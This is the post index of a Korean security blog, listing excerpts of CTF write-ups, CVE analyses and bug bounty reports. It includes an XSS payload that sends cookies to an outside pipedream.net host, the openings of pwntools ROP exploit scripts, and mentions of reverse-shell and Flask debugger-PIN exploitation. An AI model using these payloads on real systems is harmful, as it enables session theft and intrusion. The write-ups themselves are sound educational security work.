분류 전체보기
KVE-2021-1222
KVE-2021-1222
2022.04.21📅 Timeline 2021-10-12: Reported vulnerability. 2021-10-12: Checked report. 2021-10-12: Verified vulnerability and forword to manufacturer. 2022-01-04: Bounty time.
KVE-2021-0742
KVE-2021-0742
2022.04.21📅 Timeline 2021-06-10: Reported vulnerability. 2021-06-30: Checked report. 2021-07-30: Verified vulnerability and forword to manufacturer. 2021-10-14: Bounty time.
분석 일기 - php dynamic variable
분석 일기 - php dynamic variable
2022.04.03🚪 Intro 취약점을 찾기 위해 분석하고 있는 오픈소스 웹 서비스가 있습니다. 며칠 동안 삽질을 통해 발견한 취약점(?)을 기록 및 정리하고자 합니다. 💡 Analysis 해당 취약점은 웹 관리자만 접근 가능하며, php dynamic variable 을 통해 다른 변수의 값을 overwrite 하여 Stored XSS를 동작 시킬 수 있습니다. 관리자 페이지에는 아래 사진처럼 어떤 범위를 지정해 줄 수 있습니다. 하지만, 해당 소스 코드를 분석해 본 결과, 숫자 여부를 확인하지 않고 있었습니다. 위 사진에서 100 이라는 값은 아래 사진 56번째 줄인 `$mb_id1_to` 변수에 저장되어 있습니다. 각각의 값을 `$ma_last_option` 변수에 이어 붙이는 것을 볼 수 있습니다. 최종적으로 `..
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27GitFile Explorer (web) 이번 문제는 `preg_match()` 함수를 우회하여 `file_get_contents()` 함수로 flag를 획득하는 문제이다. 34번째 줄에 `preg_match()` 함수 안에 정규 표현식을 보면, github|gitlab|gitbucket 문자열은 어디에나 존재하면 된다. 즉, `http://askldjfklasd.github.com` 이런 것이 가능하다. 또한, `m` 이라는 옵션이 붙었는데, 이에 대한 설명은 다음과 같다. 즉, 다음과 같이 개행을 포함하여 전송하게 되면 `m` 옵션으로 인해 http 라는 문자열이 2번째 줄에서 시작하여 `preg_match()` 함수의 정규 표현식을 우회할 수 있게 된다. 단, 아래 결과를 보면 `No such fi..
Foobar CTF 2022 writeup
Foobar CTF 2022 writeup
2022.03.06# Warmup (pwn) 해당 문제는 FSB 를 통해 canary 값과 PIE 값을 leak 한 뒤, ROP로 shell을 획득하는 문제이다. from pwn import * context.log_level = "debug" p = remote("chall.nitdgplug.org","30091") e = ELF("./chall2") l = ELF("./libc.so.6") payload = "AAAAAAAA%20$p%23$p" p.sendlineafter("Can you help find the Canary ?", payload) p.recvline() data = p.recvline().strip()[8:] PIE = int(data[:14], 16) canary = int(data[14:], 16..
nodejs express routing case sensitive options
nodejs express routing case sensitive options
2022.03.06최근 CTF에서 nodejs express 문제가 나왔다. express에서 routing 기능이 있는데, 선택 옵션을 추가할 수 있다는 걸 처음 알았다. express Docs 내용 중, 아래 사진을 보면, Router에 대한 설명을 적어놓았다. 표에서 속성에 `caseSensitive` 라는 옵션이 있고, 만약 추가하지 않는다면 기본값으로 `대소문자를 구문하지 않고, /Foo와 /foo는 같은 경로로 해석한다.` 라고 되어 있다. 그래서 테스트를 위해 다음과 같이 코드를 작성했다. /* app.js */ const express = require("express"); const app = express(); const port = 39012; const test_router = require("./r..
java URL class를 이용한 내부 파일 읽기
java URL class를 이용한 내부 파일 읽기
2022.03.02올해 codegate 2022 웹 문제 중에서 java에 `URL class`를 이용한 SSRF 문제가 나왔다. 아래 코드는 `URL class`를 이용하여 외부 사이트에 요청 및 응답 값을 출력하는 코드 이다. import java.net.URL; import java.net.MalformedURLException; import java.io.InputStreamReader; import java.io.BufferedReader; public class test{ public static void main(String[] args){ String url = "https://lactea.kr"; String result = ""; try { BufferedReader in = new BufferedRea..
hayyim CTF 2022 writeup
hayyim CTF 2022 writeup
2022.02.13Cyberchef (web) XSS를 통한 Cookie 탈취 문제이다. cyberchef 는 github에 opensource로 공개되어 있는데, issue 에서 XSS payload를 얻을 수 있었다. https://github.com/gchq/CyberChef/issues/1265 http://1.230.253.91:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3D%60https://enej1x0to8q6ktu.m.pipedream.net/?cookie%3D$%7Bdocument.cookie%7D`%3C/script%3E',100,false)&input=MTAwLCAxMDA..
HTML Viewer writeup
HTML Viewer writeup
2022.02.04이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
format string 을 이용한 php sprintf 버그
format string 을 이용한 php sprintf 버그
2022.02.04오랜만에 CTF에 참가하여 WEB 문제 중, php의 `sprintf()` 함수를 이용한 문제가 있었다. 아래 코드를 보면, SQL `addslashes()` 함수 때문에 SQLI 가 불가능한 것처럼 보이지만, `sprintf()` 함수에서 format string을 이용하면 이를 bypass 할 수 있다. 이를 설명하기 위해 글을 계속 읽어보자. # The John has 500 dollar. 위 코드의 서식 문자를 아래 코드처럼 인자의 순서를 지정할 수 있다. (이는 C언어에서 Format String Bug를 이용한 explit 할 때도 사용된다.) # The John has 500 dollar. 위 예제에서는 코드에 전혀 문제가 없다. 하지만 `sprintf()` 함수를 다음과 같은 사례로 2번 ..
2021년을 정리하며..
2021년을 정리하며..
2021.12.31내년이면 4학년에 반오십이라니.. 올해는 좀 특별한 일로 많이 바빴던거 같다. 올해 어떤 것을 했는지 간단하게 적어 보았다. 개인 프로젝트 동아리에서 개인 프로젝트를 진행 했는데, 성공적으로 마무리 했다. 하나는 동아리 프로젝트 자료를 관리하는 Project Manager 라는 오픈소스 프로젝트와 Bug Bounty, 1-day 분석 이다. Project Manager(https://github.com/CASPER-REPSAC/project-manager) 는 nodejs로 만들었고, 동아리에서 발표한 프로젝트를 관리하기 위해 개발했다. 1월부터 3월까지 혼자서 쭉 개발한 결과 성과는 나름 만족했다. 현재 유지보수는 거의 방치된 상태이지만.. Bug Bounty 프로젝트를 1월부터 12월까지 장기간 목표..
Log4j 취약점(CVE-2021-44228) Log4Shell 발생 원인 및 실습
Log4j 취약점(CVE-2021-44228) Log4Shell 발생 원인 및 실습
2021.12.241. 기초 지식 1.1 Directory Service(DS) 여기서 말하는 Directory는 데이터, 프린터, 컴퓨터, 사용자 정보 등 데이터가 저장된 용기라고 보면 된다. Directory Service는 네트워크 서비스의 일종으로 네트워크 자원(사용자 계정, 프린트 정보, 컴퓨터 정보 등)에 접근하여 관리를 용이하게 하도록 하는 서비스를 말한다. 1.2 Active Directory AD(Active Directory)는 Microsoft에서 개발한 디렉토리 서비스 이다. AD는 다양한 표준화된 프로토콜을 사용하여 다양한 네트워크 관련 서비스를 제공한다. 회사 직원들의 계정 정보(ID, Password)와 컴퓨터에 대한 정보, 그리고 회사에서 강제하고자 하는 정책들(패스워드를 최소 8자리에 30일..
[CVE-2021-39350] wordpress FV flowplayer 분석
[CVE-2021-39350] wordpress FV flowplayer 분석
2021.10.10FV Flowplayer 비디오 플레이어 WordPress's most reliable, easy to use and feature-rich video player. Supports responsive design, HTML5, playlists, ads, stats, Vimeo and YouTube … ko.wordpress.org CVE-2021-39350는 wordpress의 플러그인 중 FV flowplayer에서 발생한 `Reflected XSS` 취약점이다. 취약한 버전은 `7.5.0.727` ~ `7.5.2.727` 이고, 패치 버전은 `7.5.3.727` 이다. FV flowplayer 의 패치 버전 commit 을 보면 다음과 같다. [https://github.com/foliovisio..
frida를 이용한 후킹 예제
frida를 이용한 후킹 예제
2021.07.30`Frida Install` Frida를 설치하기 위해 아래 명령어를 입력해 준다. pip3 install frida pip3 install frida-tools `Frida, Hello world` Frida 설치가 끝나면, Frida를 이용해서 Hello world를 출력해보자. Hello world를 출력하는 방법은 여러가지 방법이 있다. `첫번째` 방법은, 작업 폴더에 notepad.js 파일을 생성한 뒤, 아래 코드를 작성해준다. frida를 실행하기 위해서 타겟 프로그램을 실행해야 한다. 필자는 notepad를 실행한 뒤, 아래 명령어를 입력하면 `[사진 1]` 처럼 출력되는 것을 볼 수 있다. // notepad.js console.log("Hello world"); frida -l .\no..
한글 2020 문서 암호화 과정 분석
한글 2020 문서 암호화 과정 분석
2021.07.23이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29[WEB - "Hermit - Part 1"] 위 문제 링크에 접속하면 이미지를 업로드 하는 페이지가 나온다. 아래 사진 처럼 이미지를 업로드 하면 png의 hex값과 함께 이미지가 출력된다. 업로드할 이미지 맨 마지막에 간단한 php 코드를 작성한뒤 업로드 하면 php 코드가 동작하는 것을 볼 수 있다. 이를 이용하여 reverse shell 공격을 시도 했다. payload는 다음과 같다.
[DamCTF 2020] write up
[DamCTF 2020] write up
2020.10.12WEB / finger-warmup 문제 사이트에 접속하면 아래 사진 처럼 클릭하는 링크가 나온다. 클릭하면 똑같은 페이지 이지만, 주소 뒤에 랜덤한 값이 따라 붙는다. 문제 힌트에 `requests` 모듈과 `beautifulsoup` 모듈을 사용하라고 되어 있어, `a` 태그를 크롤링해 계속 클릭하면 flag를 획득 할 수 있을 거라고 생각했다. import requests import bs4 import time url = "https://finger-warmup.chals.damctf.xyz/" s = requests.session() res = s.get(url) while True: html = bs4.BeautifulSoup(res.text, "html.parser") href = html...
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07There is no Spoon keyword: `Heap overflow` #include #include #include #include char * xor(char * src, char * dest, int len) { for(int i = 0; i < len - 1; i++) { dest[i] = src[i] ^ dest[i]; } dest[len-1] = 0; return dest; } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char buffer[256]; int len = 256; printf("Neo, enter your matrix: "); len = read(0, buffer, len); char * buffer..
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
[pwnable] - glibc 2.24 이상 버전에서 _IO_FILE vtable check bypss
2020.10.07`glib 2.24` 이상 버전 부터 `_IO_validate_vtable()` 로 `vtable`을 검사한다. 이 때문에 `vtable` 값을 공격자가 원하는 함수의 주소로 overwrite 할 수가 없다. 하지만 `glibc 2.27` 버전까지 이를 bypass 할 수 있는 방법이 있는데, `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수를 이용한 bypass 공격 방법이 있다. 아래 설명하는 내용은 `glibc 2.29` 버전에 패치 되었다. _IO_validate_vtable() 이 함수는 `glibc 2.24` 이상 버전에서 생긴 함수로, `vtable` 값를 검사한다. 검사 방법은, `_libc_IO_vtables` 의 섹션 크기를 계산한 후 파일 함수가 호출..
[pwnable] - _IO_FILE structure and vtable overwrite
[pwnable] - _IO_FILE structure and vtable overwrite
2020.10.02_IO_FILE 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다. 이 구조체는 `fopen()`, `fwrite()`, `fclose()` 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다. `_IO_FILE`의 구조체는 다음과 같습니다. struct _IO_FILE { int _flags;/* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr;/* Current read pointer */ char *_IO_read_end;/* End of get area. */ char..
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29pwnable 분야의 validator 문제이다. 해당 문제는 바이너리만 주워줬고, 바이너리 파일을 c 나타내면 다음과 같다. void validate(void *input_data, int arg2){ for (int i = 0; i
[DreamhackCTF 2020] Mango write up
[DreamhackCTF 2020] Mango write up
2020.09.29web 분야의 Mango 문제이다. 해당 문제는 코드가 주워줬고, `mongodb injection` 으로 admin 의 pw를 알아내는 문제이다. const express = require('express'); const app = express(); const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true }); const db = mongoose.connection; // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} const BAN = ['admin', '..
[DarkCTF 2020] web write up
[DarkCTF 2020] web write up
2020.09.271. Source php의 `auto type casting` 문제 인거 같다.
[DarkCTF 2020] newPaX write up
[DarkCTF 2020] newPaX write up
2020.09.27pwnable 분야의 두번째 문제 newPaX 이다. Checksec Analyze 이번 바이너리에는 `main()` 과 `vuln()` 이렇게 2개가 있는데, `main()` 함수에는 별거 없고 `vuln()` 함수에서 `BOF` 공격이 가능하다. 이전 문제와 다른점은 `32bit` 라는 점이다. `32bit rop` 공격은 `64bit` 와 다르기 때문에, 아래 코드 처럼 `stack` 에 데이터를 overwrite 했다. 필자는 `read()` 함수의 `GOT`를 leak 했고, libc database 사이트에서 라이브러리를 다운 받아 `libc_base` 를 구했다. from pwn import * p = remote("newpax.darkarmy.xyz", "5001") e = ELF("./n..
[DarkCTF 2020] rop write up
[DarkCTF 2020] rop write up
2020.09.27pwnable 분야의 첫번째 문제 roprop 이다. (write up을 작성하는 시점에서 서버가 닫혀있어 설명하는데 지장이...) Checksec ubuntu:~/environment/ctf/DarkCTF/pwn/01_rop $ checksec roprop [*] '/home/ubuntu/environment/ctf/DarkCTF/pwn/01_rop/roprop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Analyze 바이러니는 `main` 함수만 정의 되어 있다. `gets()` 함수에서 `BOF` 공격이 가능한 것을 볼 수 있다. 우선 `libc addre..
python flask debugger pin, find and exploit
python flask debugger pin, find and exploit
2020.08.29어떤 CTF에서 python flask 관련 문제가 나왔는데, flask의 debugger pin을 Leak해서 exploit 하는 문제 였다. flask debugger pin은 뭐길래 exploit이 가능한지 알아보자. What is Flask debugger PIN debugger PIN은 개발환경에서 에러가 났을때 쉽게 대화형 debug 모드로 접근 가능하다. 이때 접근 하기 위해서는 PIN 코드가 필요한데 이것이 debugger PIN이다. 코드로 예를 들어 보겠다. 아래 코드에서 마지막 줄을 보면 `debug=True` 라고 되어 있는데, 이렇게 설정이 되어 있으면 debugger PIN을 볼 수 있다. from flask import Flask app = Flask(__name__) @app..
[Google CTF 2020] log-me-in write up
[Google CTF 2020] log-me-in write up
2020.08.27google ctf web 문제의 log me in 이다. 해당 문제 write up은 다른 사람의 롸업을 보고 작성한 것이다. 문제 페이지에 접속하면 아래와 같은 페이지가 나온다. 이번 문제는 코드를 올려 줬는데, 문제의 코드는 아래와 같다. /** * @fileoverview Description of this file. */ const mysql = require('mysql'); const express = require('express'); const cookieSession = require('cookie-session'); const cookieParser = require('cookie-parser'); const bodyParser = require('body-parser'); const..
[Google CTF 2020] pasteurize write up
[Google CTF 2020] pasteurize write up
2020.08.27Google CTF 2020 문제중 web 문제 `pasteurize` 이다. 해당 write up은 외국인의 풀이를 바탕으로 작성되었다. 문제 사이트에 접속하면 입력과 제출을 할 수 있는 기능이 있다. 개발자 모드로 보면 `/source` 링크가 있는데 해당 링크로 들어가면 `nodejs`로 코딩된 코드를 볼 수 있다. 아래는 문제의 코드이다. const express = require('express'); const bodyParser = require('body-parser'); const utils = require('./utils'); const Recaptcha = require('express-recaptcha').RecaptchaV3; const uuidv4 = require('uuid')..
[hackerone] - 너무 많이 늦은 버그 바운티 제보
[hackerone] - 너무 많이 늦은 버그 바운티 제보
2020.08.17Title Internal Ports Scanning and IPs Scanning via SSRF Weakness SSRF 이번에 제보한 보고서는 SSRF 취약점 이다. SSRF 공격으로 내부 IP 또는 Port를 스캔 할 수 있다. 해당 사이트는 이미지를 업로드 하거나, 이미지 URL를 입력하여 서버가 그 이미지를 가져오는 기능이 있다. 혹시나 하는 마음에 http://127.0.0.1 라고 입력했는데 아래와 같은 결과가 출력 되었다. [127.0.0.1]: Image could not be downloaded (curl error: 56; Received HTTP code 503 from proxy after CONNECT) Error 내용을 보면 127.0.0.1에 요청을 보냈는데, 503 을 받..
[pwnable.xyz] door write up
[pwnable.xyz] door write up
2020.08.10Analytic 이번 문제는 `main()` 함수와 `win()` 함수 2개만 있다. `main()` 함수를 보면 사용자가 입력한 값을 write 하는 것만 있다. int main(){ setup() puts("Door To Other RealmS") int32_t var_14 = 0 int32_t var_10 = 0 *door = rand():0.d while (true) print_menu() uint64_t rax_2 = zx.q(read_int32():0.d) if (rax_2:0.d != 2) if (rax_2:0.d s> 2) if (rax_2:0.d != 3) if (rax_2:0.d == 4) return 0 // rax_2 == 3 else if (*door == 0) continue e..